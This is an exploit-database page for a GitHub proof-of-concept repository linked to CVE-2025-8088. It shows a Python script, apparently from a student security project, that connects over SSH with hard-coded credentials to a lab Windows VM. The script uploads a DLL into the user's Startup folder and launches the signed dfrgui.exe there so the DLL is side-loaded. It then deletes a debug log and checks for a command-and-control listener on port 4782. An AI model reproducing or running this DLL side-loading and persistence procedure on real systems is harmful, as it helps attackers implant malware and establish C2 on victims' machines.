Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files94
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

side-load/test_wd_sideload4.py

Python · 1,939 bytes
import paramiko, subprocess, time, os, sys

PROJECT = r'D:\Desktop\网安程设\Amaranth_Project\side-load'
VM = '192.168.30.136'
USER = 'lewis'
PASS = 'lewis123'
STARTUP = r'C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'

http = subprocess.Popen(
    [sys.executable, '-m', 'http.server', '8000', '--bind', '0.0.0.0'],
    cwd=PROJECT, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
print(f'[+] HTTP PID: {http.pid}')
time.sleep(1)

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(VM, username=USER, password=PASS)

sftp = ssh.open_sftp()
sftp.put(os.path.join(PROJECT, 'sxshared.dll'), f'{STARTUP}\\sxshared.dll')
sftp.close()
print('[+] Uploaded')

ssh.exec_command('taskkill /f /im dfrgui.exe 2>nul')
ssh.exec_command('del "%TEMP%\\sxs_debug.log" 2>nul')
time.sleep(1)

# Run dfrgui.exe directly (not via start) - it will block, so we use exec_command in background
# exec_command runs cmd.exe which will wait for the GUI app to exit
# For GUI apps, cmd.exe returns immediately, so this should work
channel = ssh.get_transport().open_session()
channel.exec_command(f'pushd "{STARTUP}" && C:\\Windows\\System32\\dfrgui.exe')
print('  dfrgui.exe launched directly (background)')

time.sleep(5)

# Check processes
stdin, stdout, stderr = ssh.exec_command('tasklist /FI "IMAGENAME eq dfrgui.exe"')
p_out = stdout.read().decode('gbk', errors='replace')
print(f'  Processes:\n{p_out}')

# Check log
stdin, stdout, stderr = ssh.exec_command(
    'if exist "%TEMP%\\sxs_debug.log" (type "%TEMP%\\sxs_debug.log") else (echo NO_LOG)'
)
log = stdout.read().decode('gbk', errors='replace')
print(f'  Log:\n{log[:2000]}')

# C2 check
time.sleep(5)
stdin, stdout, stderr = ssh.exec_command('netstat -an | findstr ":4782"')
print(f'  :4782:\n{stdout.read().decode("gbk", errors="replace")[:500]}')

channel.close()
ssh.close()
http.terminate()
print('[+] Done')